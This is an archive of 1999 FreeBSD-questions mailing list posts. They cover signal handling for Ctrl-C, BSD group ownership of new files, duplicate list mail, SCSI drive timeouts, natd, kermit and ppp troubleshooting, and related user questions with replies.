> 

regards, taras


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From owner-freebsd-questions  Mon Mar 22 13:29:33 1999
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Date: Tue, 23 Mar 1999 09:26:00 +1200 (NZST)
From: Jonathan Chen <jonc@pinnacle.co.nz>
To: Masahiro Ariga <mariga@cd.mbn.or.jp>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: how to die gracefully
In-Reply-To: <000501be7472$3bbeb400$064ca8c0@gateway>
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On Mon, 22 Mar 1999, Masahiro Ariga wrote:

> 1.How should I exit gracefully by pushing Ctl^C. I mean,what should I do to
> recover normal condition in preparation for next execution ?
> 2.I like to catch the signal when pushed Ctl^C,and make a handler
> routine.Would you tell me what signal I can catch when enterring Ctl^C ?

You need to read up on catching signals. Check out:

	sigemptyset
	sigaddset
	sigprocmask
	sigaction

These can be a bit hard to read; an easier option is to get
"Advanced Programming in the UNIX Environment" by Stevens. It explains
all you need to know.
	
Jonathan Chen
----------------------------------------------------------------------
                          When you want to test the depth of a stream,
                                                  don't use both feet.



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From owner-freebsd-questions  Mon Mar 22 13:30:43 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 16:30:11 -0500 (EST)
From: Patrick Seal <patseal@hyperhost.net>
To: freebsd-questions@FreeBSD.ORG
Subject: Wordperfect8 CD-install
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I used the port patch 'patch-ab' on a copy of the CD on my harddrive and
tried to install.  It keep giving me a bunch of errors.

Does anyone know the correct procedure for installing it?

Thanks,

------------------------------------ _____________________________________
Patrick Seal                        |"Microsoft isn't evil, they just make
<patseal@hyperhost.net>             |   really crappy operating systems."
Hyperhost - http://www.hyperhost.net| -Linus Torvalds
hosting and Design

http://www.freebsd.org - http://www.linux.org






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From owner-freebsd-questions  Mon Mar 22 13:38:31 1999
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Date: Tue, 23 Mar 1999 07:19:58 +1000
From: Greg Black <gjb@comkey.com.au>
To: "Paul T. Root" <proot@horton.iaces.com>
Cc: kstewart@3-cities.com (Kent Stewart),
	freebsd-questions@FreeBSD.ORG, jmb@FreeBSD.ORG
Subject: Re: Duplicate E-Mail Messages 
References: <199903221651.KAA09206@iaces.com> 
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> You can get rid of these (well from your mailer) by putting in a procmail
> filter:

We don't want to get rid of them after they arrive -- we want
them not to be generated in the first place.  Something is
broken out there and needs to be fixed.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Mon Mar 22 13:38:33 1999
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From: Greg Black <gjb@comkey.com.au>
To: Karl Pielorz <kpielorz@tdx.co.uk>
Cc: Masahiro Ariga <mariga@cd.mbn.or.jp>,
	freebsd-questions@FreeBSD.ORG
Subject: Re: how to die gracefully 
References: <000501be7472$3bbeb400$064ca8c0@gateway> <36F65B11.610DAE9D@tdx.co.uk> 
In-reply-to: <36F65B11.610DAE9D@tdx.co.uk> 
    of Mon, 22 Mar 1999 15:00:33 GMT
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> > First loaded program works fine,and enters Ctl^C to exit it,but if I execute
> > it second time,it shows abnormalties like taking time to start to send data
> > to clent,and badly enough,it responds not at all.
> > I presume it results from not closing sockets,or residual memory or
> > something,but I'm not sure.
> 
> AFAIK - when your program quit's, the O/S should free up it's memory and close
> it's files etc. (as a kind of last-resort) - it's probably not good practice
> to rely on this though, especially if your program is designed to run for long
> periods of time...

This is wrong.  The OS reclaims everything when the program exits.

> > So,sinior UNIX programers,would you teach me next two questions ?
> > 
> > 1.How should I exit gracefully by pushing Ctl^C. I mean,what should I do to
> > recover normal condition in preparation for next execution ?
> 
> Catch the CTRL-C signal, then perform housekeeping & cleanup (i.e. close
> files, sockets, freeup memory used etc. - all of which your program should
> have tracked etc.), then quit...

This begs the question.  If it's a client/server interaction,
then the issues are probably to do with leaving one end of the
connection waiting when the other quits.  There's not enough
information here to help, and it's not a topic for this list
anyway.

Get one of the books on client/server programming under BSD (I'd
suggest Stevens), study it, find a suitable source of help if
you need it, read BSD sources for inspiration, and keep working
on it.

> > 2.I like to catch the signal when pushed Ctl^C,and make a handler
> > routine.Would you tell me what signal I can catch when enterring Ctl^C ?
> 
> SIGQUIT I think - check the man pages out (man signal)...

Wrong.  It's SIGINT.  The QUIT signal is usually attached to
Ctl-\ and generates a core dump as well as interrupting the
process.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Mon Mar 22 13:38:36 1999
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Date: Tue, 23 Mar 1999 07:24:50 +1000
From: Greg Black <gjb@comkey.com.au>
To: "Neil Oosten" <neiloosten@hotmail.com>
Cc: FreeBSD-questions@FreeBSD.ORG
Subject: Re: Changing groups 
References: <19990322162256.28891.qmail@hotmail.com> 
In-reply-to: <19990322162256.28891.qmail@hotmail.com> 
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> Here's my situation: I want have a user who is a member of three 
> groups--say they are radio, tv, and newspaper. When the user logs in the 
> group is set to radio, but then he has to go edit something for radio. 
> How do I change the user's group from newspaper to radio.

The concept of a user's default belongs more to SysV than BSD.

Under BSD, the group of a newly-created file is determined by
the group of the directory it is created in.  To change the
group of newly created files in a directory, use chgrp on the
directory; to change the group of files already created in a
directory, use chgrp on the files (or chgrp -R on the directory
if all the descendants of that directory are intended to be
affected by the command).

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Mon Mar 22 13:38:37 1999
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Date: Tue, 23 Mar 1999 07:17:20 +1000
From: Greg Black <gjb@comkey.com.au>
To: Christopher Michaels <ChrisMic@clientlogic.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Changing groups 
References: <6C37EE640B78D2118D2F00A0C90FCB441A5FAF@site2s1> 
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> Are we talking to permanently change the default GID of new files, or are we
> talking on a per file basis?
>  - To permanently change the default group needed, you would have to edit
> the password file and change that users group (vipw).

This is BSD, not SysV.  On BSD systems, the group of a newly
created file is always taken from the group of the directory in
which it is located.  To change the group of files created in a
directory, use chgrp on the directory.

And, since this is BSD, you can always read any files with group
read permissions for any group you belong to without doing
anything special.

Under SysV (at least until SysVr3 -- I haven't touched it since
then), you could only be one group at a time and had to use the
newgroup command to switch to another group.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Mon Mar 22 13:40:59 1999
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	Tue, 23 Mar 1999 09:37:55 +1200 (NZST)
Date: Tue, 23 Mar 1999 09:37:54 +1200 (NZST)
From: Jonathan Chen <jonc@pinnacle.co.nz>
To: Christopher Michaels <ChrisMic@clientlogic.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: RE: Changing groups
In-Reply-To: <6C37EE640B78D2118D2F00A0C90FCB441A5FB3@site2s1>
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On Mon, 22 Mar 1999, Christopher Michaels wrote:

> I did notice something to the effect but I wasn't sure.. my questions is..
> does this apply even if the user isn't a member of that group?

Yes. touch(1) a file in /tmp and check out the group id.
--
Jonathan Chen
----------------------------------------------------------------------
                          When you want to test the depth of a stream,
                                                  don't use both feet.



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From owner-freebsd-questions  Mon Mar 22 13:41:11 1999
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To: Vallo Kallaste <vallo@matti.ee>
Cc: Morvan Daniel Muller <morvan@viavale.com.br>,
	freebsd-questions@FreeBSD.ORG
Subject: Re: RADIO Wavelan IEE 80211
In-Reply-To: <19990317102248.A77761@matti.ee>
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On Wed, 17 Mar 1999, Vallo Kallaste wrote:

> On Tue, Mar 16, 1999 at 04:46:34PM -0300, Morvan Daniel Muller <morvan@viavale.com.br> wrote:
> 
> > I have an radio card:
> > WaveLan IEEE 80211 ISA card from LUCENT Technologies, 
> > and want configure it in the FReeBSD 3.1!
> > 
> > PS:
> > Linux machines whit kernel 2.0.30 work Ok
> > whit this wavelan card, but have a binary
> > driver.
> 
> Yes, there are beta driver for Linux in binary form. The new IEEE 
> card is different from the older ones and no driver for FreeBSD 
> exist.  Also no development can be done because no sources or 
> specifications are available, it seems :(
> -- 
> 
> Vallo Kallaste
> vallo@matti.ee
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
try using breezecom sa10 or ap10 series

www.breezecom.com


There are also another card at www.diamondmm.com


it works with every computer.


Hope this can help.





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From owner-freebsd-questions  Mon Mar 22 13:44:37 1999
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Date: Mon, 22 Mar 1999 13:37:56 -0800 (PST)
From: Spam Me Here <bearmaps@berkeleycs.ml.org>
To: Michael Brown <Michael_Brown@sw.cc.va.us>
Cc: questions@FreeBSD.ORG
Subject: Re: qpopper
In-Reply-To: <519E4F1A60BCD211AC6100805FEA7ACA0843@SWCC2>
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> does anyone know how to setup qpopper.

Basically, it is just a matter of compiling it, and then adding the
service to inetd.

You could also try cucipop.

On Mon, 22 Mar 1999, Michael Brown wrote:

> does anyone know how to setup qpopper.
> 
> My setup is have problems.
> 
> Michael Brown
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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From owner-freebsd-questions  Mon Mar 22 13:55:31 1999
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Cc: freebsd-questions@FreeBSD.ORG
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me me to to




Keith Anderson
keith@apcs.com.au

Australia Power Control Systems P/L

On Mon, 22 Mar 1999, Steve Hovey wrote:

> from questions?
> 
> ------------------------------------------------------------------
> Steve Hovey
> Chief Network Administrator
> BuffNET		More Than Just a Connection!
> ------------------------------------------------------------------
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 



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From owner-freebsd-questions  Mon Mar 22 14: 1:17 1999
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I done figured it out (one minute after asking the question, as usual) --
I had left "bind" in /etc/host.conf.  ipfw is much faster now.

Thanks for the suggestions,
Bill


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From owner-freebsd-questions  Mon Mar 22 14:12:39 1999
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Date: Mon, 22 Mar 1999 17:11:13 -0500
From: "Thomas W. Lovell" <tlovell@fostermiller.com>
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Hi,

Two questions about FreeBSD:

    1) Any good 32-bit Forth implementations available (commercial is
ok) with a rich wordset and good links to the operating system?
        (e.g., analogous to 16-bit HS/Forth, which was custom-written
for MS-DOS on the IBM PC, fast, with good links to the
        operating system and with a rich wordset for strings, graphics
and memory management on the Intel processors.)

    2) Any opinion about using NetBSD or OpenBSD on an IBM compatible?
Would I lose performance from these (I assume) more generic
        systems?  Do either of these other OS's offer advantages (aside
from cross-platform compatibility) that FreeBSD does not?

Thanks for any help.

Tom Lovell
tlovell@foster-miller.com




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From owner-freebsd-questions  Mon Mar 22 14:13:34 1999
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Organization: BOSSig
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To: Greg Black <gjb@comkey.com.au>
Cc: freebsd-questions@FreeBSD.ORG, jmb@FreeBSD.ORG
Subject: Re: Duplicate E-Mail Messages
References: <199903221651.KAA09206@iaces.com> <19990322211958.9829.qmail@alpha.comkey.com.au>
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Greg Black
wrote:
> 
> > You can get rid of these (well from your mailer) by putting in a procmail
> > filter:
> 
> We don't want to get rid of them after they arrive -- we want
> them not to be generated in the first place.  Something is
> broken out there and needs to be fixed.

What I
noticed on
the
headers
that I
looked at
was
identical
message
ID's until
hub.freebsd.org
sent the
mail on to
to
sol.net.
Then
"sarip"
and
"mail2"
got
involved
and the
duplicate
messages
appeared.
Since both
received
from
hub.freebsd.org,
the error
would
appear to
be a
FreeBSD.org
problem.

-- 
Kent
Stewart
Richland,
WA

mailto:kstewart@3-cities.com
http://www.3-cities.com/~kstewart/index.html


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From owner-freebsd-questions  Mon Mar 22 14:14:59 1999
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To: Masahiro Ariga <mariga@cd.mbn.or.jp>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: how to die gracefully
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On Mon, 22 Mar 1999, Masahiro Ariga wrote:

> My name is Masahiro Ariga,
> I made a server-like program which receives data from another PC by using
> socket and,inside,uses pipes and communicates among processes,and send those
> finished data to client PC  using socket .
> Right now,each process works in the form of infinite loops, and only way to
> finish the program is to enter Ctl^C.
> First loaded program works fine,and enters Ctl^C to exit it,but if I execute
> it second time,it shows abnormalties like taking time to start to send data
> to clent,and badly enough,it responds not at all.
> I presume it results from not closing sockets,or residual memory or
> something,but I'm not sure.
> 
> So,sinior UNIX programers,would you teach me next two questions ?
> 
> 1.How should I exit gracefully by pushing Ctl^C. I mean,what should I do to
> recover normal condition in preparation for next execution ?

Well, close the sockets, kill the children processes, and call exit().

> 2.I like to catch the signal when pushed Ctl^C,and make a handler
> routine.Would you tell me what signal I can catch when enterring Ctl^C ?

The signal generally generated by the shell when ^C is entered is SIGTERM.
Refer to sigaction(2) and signal(3).

> 
> My E-mail addres is,
> mariga@cd.mbn.or.jp
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> 


	-Spike Gronim
	 sporkl@ix.netcom.com	
	 Finger gronimw@shell.stuy.edu for PGP public key.

		The majority only rules those who let them. 



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From owner-freebsd-questions  Mon Mar 22 14:16:41 1999
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Message-Id: <199903222216.PAA68834@panzer.plutotech.com>
Subject: Re: Odd messages
In-Reply-To: <199903220723.XAA00414@caern.limax.com> from "Mike O'Brien" at "Mar 21, 1999 11:23:40 pm"
To: obrien@leonardo.net (Mike O'Brien)
Date: Mon, 22 Mar 1999 15:16:05 -0700 (MST)
Cc: freebsd-questions@FreeBSD.ORG, freebsd-scsi@FreeBSD.ORG
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Mike O'Brien wrote...
> 	Ever since I upgraded to 3.1-RELEASE, I've occasionally been
> seeing bursts like this:
> 
> Mar 21 20:01:22 caern /kernel: (da0:ahc0:0:0:0): SCB 0x18 - timed out while idle, LASTPHASE == 0x1, SEQADDR == 0x9
> Mar 21 20:01:22 caern /kernel: (da0:ahc0:0:0:0): Queuing a BDR SCB
> Mar 21 20:01:22 caern /kernel: (da0:ahc0:0:0:0): Bus Device Reset Message Sent
> Mar 21 20:01:22 caern /kernel: (da0:ahc0:0:0:0): no longer in timeout, status = 353
> Mar 21 20:01:22 caern /kernel: Unexpected busfree.  LASTPHASE == 0xa0
> Mar 21 20:01:22 caern /kernel: SEQADDR == 0x151

[ ... ]

> 
> Mar 21 23:15:30 caern /kernel: da0 at ahc0 bus 0 target 0 lun 0
> Mar 21 23:15:30 caern /kernel: da0: <QUANTUM VP32210 81H8> Fixed Direct Access SCSI-2 device 
> Mar 21 23:15:30 caern /kernel: da0: 10.0MB/s transfers (10.0MHz, offset 15), Tagged Queueing Enabled
> Mar 21 23:15:30 caern /kernel: da0: 2103MB (4308352 512 byte sectors: 64H 32S/T 2103C)

[ ... ]

> 	It's an Adaptec 2940 with two drives as shown.
> 
> 	Mostly, it happens while the system is idle and when I get
> back, everything is OK.  This last time, the disk system was frozen
> and I had to Hit The Big Black Button.  Things rebooted normally.
> 
> 	Ordinarily I'd say the drive is wonky, but my suspicions are
> aroused: things ran fine under 2.2.6, and this bad stuff started
> happening as soon as I installed 3.1.  Any takers?

This is most likely a drive firmware problem, although it could be cabling
or termination.  And the system wasn't completely idle when it happened.

The 'timed out while idle' message means that a command from the da(4)
driver timed out and there was nothing else going on at the time.  The
timeout for reads and writes from the da driver is 60 seconds.  So if the
drive doesn't respond in that period of time, something is definitely
wrong.

What is a VP32210?  I don't see that anywhere on Quantum's web site listing
of various model numbers.

Probably the reason it happens on 3.1 and not on 2.2.6 is that CAM loads
the disks a whole lot more than the old SCSI layer did.

I suspect that this is a firmware problem, since I've seen other Quantum
disks with the same symptoms.  The most famous example is the Quantum Atlas
II with LXY4 or older firmware.  (They fixed that problem in the LYK8
firmware.)

Ken
-- 
Kenneth Merry
ken@plutotech.com


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From owner-freebsd-questions  Mon Mar 22 14:36:29 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from cortes.lemaco.hn (unknown [207.42.186.67])
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	(envelope-from jogupo@lemaco.hn)
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Message-ID: <000101be74b4$c3f68180$56ba2acf@jogupo.lemaco.hn>
From: "Jose Guzman Ponce" <jogupo@lemaco.hn>
To: <freebsd-questions@FreeBSD.ORG>
Subject: From Honduras
Date: Mon, 22 Mar 1999 16:38:47 -0600
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I have installed FreeBSD in our Main Computer, I have installed Mail,
Internet Service, Ftp Service and Radius. I do not have enough experienced
in UNIX, I just want to know the following:
1) How can I check my Dial in Users?, Who are they?, If there isn't other
with the same user?
2) How can I give to some of my users limited access?
3) How can I limit the service of my users?, Some have Internet access but
not mail, or viceversa.

Thank You very much

Jose Guzman



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From owner-freebsd-questions  Mon Mar 22 14:57:19 1999
Delivered-To: freebsd-questions@freebsd.org
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X-Mailer: exmh version 2.0.2 2/24/98
To: John Scharles <johns@vcnet.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Stupid natd question 
In-reply-to: Your message of "Sun, 21 Mar 1999 06:51:35 PST."
             <3.0.3.32.19990321065135.00cf831c@vcnet.com> 
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Date: Mon, 22 Mar 1999 18:18:51 +0000
From: Brian Somers <brian@Awfulhak.org>
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> I've got to configure a 2.2.1 release machine to be a firewall for a few
> days usage while the orignal firewall gets upgraded. Since I need address
> translation I went to try out natd and found it didn't seem to be loaded on
> this machine. As I recall the os was just a regular install from the cd so
> I was surprised not to find it. Isn't natd normally installed, and if so
> what directory would it be placed in?

Natd was born after 2.2.1 was released.  It lived in /usr/sbin for a 
while and now lives in /sbin on -current.

> TIA
> js

-- 
Brian <brian@Awfulhak.org> <brian@FreeBSD.org> <brian@OpenBSD.org>
      <http://www.Awfulhak.org>
Don't _EVER_ lose your sense of humour !




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From owner-freebsd-questions  Mon Mar 22 14:58:45 1999
Delivered-To: freebsd-questions@freebsd.org
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To: gkaplan <gkaplan@castle.net>
Cc: Brian Somers <brian@Awfulhak.org>,
	"questions@FreeBSD.ORG" <questions@FreeBSD.ORG>
Subject: Re: kermit 
In-reply-to: Your message of "Mon, 22 Mar 1999 10:03:12 EST."
             <36F65BB0.C7AFF808@castle.net> 
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From: Brian Somers <brian@Awfulhak.org>
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This sounds like either you're talking to Compuserve (or 
similar) and need to ``set parity even'', or maybe your modem is 
doing software flow control (and ppp isn't).

If you got as far as running ppp (and saw hdlc errors), this 
indicates that it's a flow control thing.  Make sure you switch your 
modem to hardware flow control and things should work.  Also, check 
for your ISP sending a non-zero ACCMAP (enable LCP logging).  If they 
are, make sure that you've got a recent enough version of ppp to 
reciprocate (with a similar ACCMAP).  If you haven't, you must set 
the accmap manually in ppp.conf.

> The reason for my asking about kermit is that I want to verify that my modem
> is working correctly. I don't believe that that is a problem with ppp, in fact
> I have been getting very useful results from viewing the log file
> /var/log/ppp.log I believe that my problem is either with an inappropriate
> TERM definition or with the modem setup, and that I am ignorant of how to
> approach the problem. A recent result in attempting to connect to my isp
> through (telnet(ppp)) is that I recorded many hdlc errors along with partial
> transmission of an initial menu from that remote ( not the login but rather
> communication subsequent to the login). I am more inclined to question my
> modem because I have had the same result with netscape. Thank you for your
> input.
> 
> Brian Somers wrote:
> 
> > > It was suggested to me that I may be able to use kermit to resolve some
> > > problems that I  have establishing a  serial line connection to my isp.
> > > 1.) what functions would be partially replaced, and/or fully replaced by
> > > kermit ?
> >
> > None.  Kermit can be used to prove that the problem is with the
> > serial port rather than with ppp.  If kermit works, ppp should, if
> > kermit doesn't, ppp won't.  People find that easier to accept than
> > believing that ppp is not to blame for dodgy or misconfigured
> > hardware.
> >
> > > 2.) which version of kermit would be the logical choice to use with
> > > 2.2.8 ,or  with 3.1?
> >
> > The one in the ports collection.

-- 
Brian <brian@Awfulhak.org> <brian@FreeBSD.org> <brian@OpenBSD.org>
      <http://www.Awfulhak.org>
Don't _EVER_ lose your sense of humour !




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From owner-freebsd-questions  Mon Mar 22 14:59: 1 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from leaf.lumiere.net (leaf.lumiere.net [207.218.152.15])
	by hub.freebsd.org (Postfix) with ESMTP id 8933515033
	for <freebsd-questions@freebsd.org>; Mon, 22 Mar 1999 14:58:10 -0800 (PST)
	(envelope-from j@leaf.lumiere.net)
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	Mon, 22 Mar 1999 14:57:51 -0800 (PST)
Date: Mon, 22 Mar 1999 14:57:51 -0800 (PST)
From: Jesse <j@lumiere.net>
To: freebsd-questions@freebsd.org
Subject: procmail: Out of memory 
Message-ID: <Pine.BSF.4.05.9903221455440.2404-100000@leaf.lumiere.net>
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Hi,

I'm running a mail server which delivers mail through procmail. I believe
it takes on the uid of the user it's delivering to. 

The problem is that whenever someone sends a large mail I get this error:

Mar 22 14:54:50 nymph procmail[16806]: Out of memory as I tried to
allocate 5173839 bytes 

/etc/login.conf has default set to this

        :datasize-cur=32M:\
        :stacksize-cur=16M:\
        :memorylocked-cur=20M:\
        :memoryuse-cur=60M:\

I assume this is the class that would affect a user who has no specific
class setup.

Is this the proper way to fix it? It doesn't seem to be working. Any
suggestions would be appreciated. Thanks.


---
Jesse <j@lumiere.net>
http://www.lumiere.net/



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From owner-freebsd-questions  Mon Mar 22 15:15:38 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from cortes.lemaco.hn (unknown [207.42.186.67])
	by hub.freebsd.org (Postfix) with ESMTP id 8B2B415415
	for <freebsd-questions@FreeBSD.ORG>; Mon, 22 Mar 1999 15:15:08 -0800 (PST)
	(envelope-from jogupo@lemaco.hn)
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	for <freebsd-questions@FreeBSD.ORG>; Mon, 22 Mar 1999 17:18:59 -0600 (CST)
	(envelope-from jogupo@lemaco.hn)
Message-ID: <000101be74ba$59d62ca0$56ba2acf@jogupo.lemaco.hn>
From: "Jose Guzman Ponce" <jogupo@lemaco.hn>
To: "FreeBSD Questions" <freebsd-questions@FreeBSD.ORG>
Subject: From Honduras Again...
Date: Mon, 22 Mar 1999 17:18:52 -0600
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I Appologize...

My organization is Lema Computers (www.lemaco.hn), and I have two US
Robotics modems connected with a Router to the Hub and my Main computer is
connected to that Hub...

Any additional information please reply message...

Thank You Again...

Jose Guzman



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From owner-freebsd-questions  Mon Mar 22 15:20:22 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from peloton.physics.montana.edu (peloton.physics.montana.edu [153.90.192.177])
	by hub.freebsd.org (Postfix) with ESMTP id 8A2F315454
	for <freebsd-questions@FreeBSD.ORG>; Mon, 22 Mar 1999 15:20:12 -0800 (PST)
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	Mon, 22 Mar 1999 16:18:19 -0700 (MST)
	(envelope-from brett@peloton.physics.montana.edu)
Date: Mon, 22 Mar 1999 16:18:19 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Kent Stewart <kstewart@3-cities.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Duplicate E-Mail Messages
In-Reply-To: <36F6C0B8.5581E284@3-cities.com>
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Hi,

On Mon, 22 Mar 1999, Kent Stewart wrote:

> What I
> noticed on
> the
> headers
> that I
> looked at
> was
> identical
> message
> ID's until
> hub.freebsd.org
> sent the
> mail on to
> to
> sol.net.


Um - you don't need to set your word wrap to like 20 characters....

That's really annoying.

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Mon Mar 22 15:26:57 1999
Delivered-To: freebsd-questions@freebsd.org
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	by hub.freebsd.org (Postfix) with ESMTP id 0288014BD2
	for <questions@freebsd.org>; Mon, 22 Mar 1999 15:26:54 -0800 (PST)
	(envelope-from raj@cisco.com)
Received: from raj.cisco.com (dhcp-f-55-250.cisco.com [171.69.55.250]) by hubbub.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/CISCO.GATE.1.1) with ESMTP id PAA04486 for <questions@freebsd.org>; Mon, 22 Mar 1999 15:26:34 -0800 (PST)
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	(envelope-from raj@cisco.com)
Message-Id: <199903222326.PAA01583@raj.cisco.com>
To: questions@freebsd.org
Subject: Re: PCMCIA modem card problems 
In-reply-to: Your message of "Sun, 21 Mar 1999 11:01:43 PST."
X-Quote: If you consult enough experts, you can confirm any opinion.
Date: Mon, 22 Mar 1999 15:26:30 -0800
From: Richard Johnson <raj@cisco.com>
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Following up on my question about PCMCIA modem cards (which hasn't
gotten an answer yet):

I found that if I removed the configuration for "sio0" (which was
finding the built in serial port), then the kernel doesn't hang when I 
open /dev/cuaa2 and I can talk to the modem (and get responses) just
fine.  The only remaining problem is that the driver doesn't recognize 
that the modem has output ready unless it has just finished delivering 
a character to it.  When I type "at" followed by a return, I don't see 
any output (the "OK" response) until I send the modem another
character.  If I do the command to have the modem print all of its
registers (forgotten what it is currently), I see a few lines of
output and it stops in the middle of one of the lines.  I then hit
return and I get a little bit more output, etc.

It appears as though the sio driver isn't getting interrupts when the
card has output ready but is instead polling for output right after
having delivered characters to the card.

I don't know if this is a bug in the driver or if it's simply not
recognizing the card correctly.  According to "pccardc dumpcis" output 
the card has a 16550 chip and the driver says it's a 16550A.  Maybe
there's a small amount of difference here?

Has anyone seen this type of problem with the i386/isa/sio.c driver
code?

/raj


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From owner-freebsd-questions  Mon Mar 22 15:30:25 1999
Delivered-To: freebsd-questions@freebsd.org
Received: by hub.freebsd.org (Postfix, from userid 608)
	id CCB8714CF1; Mon, 22 Mar 1999 15:30:24 -0800 (PST)
From: "Jonathan M. Bresler" <jmb@hub.freebsd.org>
To: kstewart@3-cities.com
Cc: freebsd-questions@FreeBSD.ORG
In-reply-to: <36F67167.1043D7B6@3-cities.com> (message from Kent Stewart on
	Mon, 22 Mar 1999 08:35:51 -0800)
Subject: Re: Duplicate E-Mail Messages
References:  <36F67167.1043D7B6@3-cities.com>
Message-Id: <19990322233024.CCB8714CF1@hub.freebsd.org>
Date: Mon, 22 Mar 1999 15:30:24 -0800 (PST)
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       you are not the only person to report this.  several others
       have reported the problem as well.  i dont know if its a
       problem with the conversation between sol.net and
       hub.freebsd.org or not.  all reports of the problem seem to be
       from .com domains.

       i am going to change our mail configuration to deliver directly
       to all .com domains, in place of going thru sol.net

       if anyone has been getting duplicates, or gets duplicates in
       the future....please send me the headers from the duplicates,
       just as Kent Stewart <kstewart@3-cities.com> has done here.
       (headers are included below).

       ONLY send one pair of headers for each address....others will
       be thrown away without me looking at them.

       please send the headers to "duplicates@freebsd.org".

thanks you

jmb
-- 
Jonathan M. Bresler      FreeBSD Core Team, Postmaster       jmb@FreeBSD.ORG
FreeBSD--The Power to Serve         JMB193           http://www.freebsd.org/
PGP 2.6.2 Fingerprint:      31 57 41 56 06 C1 40 13  C5 1C E3 E5 DC 62 0E FB



> Date: Mon, 22 Mar 1999 08:35:51 -0800
> From: Kent Stewart <kstewart@3-cities.com>
> X-Accept-Language: en
> Content-Type: text/plain; charset=us-ascii
> 
> For several days I have been receiving large numbers of duplicates from
> this list. This produces a lot of extra e-mail. The messages are bing
> routed through  mail@sarip.sol.net and mail@mail2.sol.net.
> 
> The headers are as follows
> 
> start of first header >>>
> Received: from sarip.sol.net (mail@sarip.sol.net [169.207.30.120]) by
> revolution.3-cities.com (8.8.5/8.7.3) with ESMTP id CAA27201 for
> <kstewart@3-cities.com>; Mon, 22 Mar 1999 02:14:50 -0800 (PST)
> Received: from hub.freebsd.org (hub.FreeBSD.ORG [204.216.27.18])
>         by sarip.sol.net (8.8.8/8.8.8/SNNS-1.02) with ESMTP id EAA23723;
> 
>         Mon, 22 Mar 1999 04:13:27 -0600 (CST)
> Received: by hub.freebsd.org (Postfix, from userid 538)
>         id 4A4D114F6A; Mon, 22 Mar 1999 02:13:16 -0800 (PST)
> Received: from localhost (localhost [127.0.0.1])
>         by hub.freebsd.org (Postfix) with SMTP
>         id 2DC651CD637; Mon, 22 Mar 1999 02:13:16 -0800 (PST)
>         (envelope-from owner-freebsd-questions)
> Received: by hub.freebsd.org (bulk_mailer v1.12); Mon, 22 Mar 1999
> 02:13:16 -0800
> Delivered-To: freebsd-questions@freebsd.org
> Received: from hermes.axis.de (hermes.axis.de [194.163.241.7])
>         by hub.freebsd.org (Postfix) with SMTP
>         id 777B914ED8; Mon, 22 Mar 1999 02:13:12 -0800 (PST)
>         (envelope-from maret@axis.de)
> Received: from erlangen01.axis.de by hermes.axis.de
>           via smtpd (for hub.FreeBSD.ORG [204.216.27.18]) with SMTP; 22
> Mar 1999 10:12:55 UT
> Received: (private information removed)
> <<<< end of first header
> start of second header >>>>>
> Received: from mail2.sol.net (mail@mail2.sol.net [206.55.64.73]) by
> revolution.3-cities.com (8.8.5/8.7.3) with ESMTP id CAA26600 for
> <kstewart@3-cities.com>; Mon, 22 Mar 1999 02:14:29 -0800 (PST)
> Received: from hub.freebsd.org (hub.FreeBSD.ORG [204.216.27.18])
>         by mail2.sol.net (8.8.8/8.8.8/SNNS-1.02) with ESMTP id EAA13307;
>         Mon, 22 Mar 1999 04:13:01 -0600 (CST)
> Received: by hub.freebsd.org (Postfix, from userid 538)
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> <<<<< end of second header
> 
> 


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From owner-freebsd-questions  Mon Mar 22 15:31:49 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from ns.clientlogic.com (ns.clientlogic.com [207.51.66.75])
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: freebsd-questions@FreeBSD.ORG
Subject: RE: Changing groups
Date: Mon, 22 Mar 1999 18:32:16 -0500
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Thanx, would have tested that but I'm about 5 miles away from the nearest
BSD machine. :^)

> -----Original Message-----
> From:	Crist J. Clark [SMTP:cjc@cc942873-a.ewndsr1.nj.home.com]
> Sent:	Monday, March 22, 1999 4:21 PM
> To:	ChrisMic@clientlogic.com
> Cc:	jonc@pinnacle.co.nz; freebsd-questions@FreeBSD.ORG
> Subject:	Re: Changing groups
> 
>  fChristopher Michaels wrote,
> > > From: Jonathan Chen [SMTP:jonc@pinnacle.co.nz]
> > > On Mon, 22 Mar 1999, Christopher Michaels wrote:
> > > 
> > > > Are we talking to permanently change the default GID of new files,
> or
> > > are we
> > > > talking on a per file basis?
> > > >  - To permanently change the default group needed, you would have to
> > > edit
> > > > the password file and change that users group (vipw).
> > > >  - To change the group ownership of specific files, just use one of
> the
> > > > following.
> > > > 	chgrp <group> <files>
> > > > 	chown <user>:<group> <files>
> > > > 
> > > 
> > > Actually, under the BSD file creation semantics; any new file created
> > > in a directory will get the directory's group-id by default. So all
> > > you need to do is to create the directory with the correct group-id
> > > required.
> >
> > I did notice something to the effect but I wasn't sure.. my questions
> is..
> > does this apply even if the user isn't a member of that group?
> > -Chris
> 
> [107:/tmp] ls -ld .
> drwxrwxrwt  5 bin  bin  1024 Mar 22 16:30 .
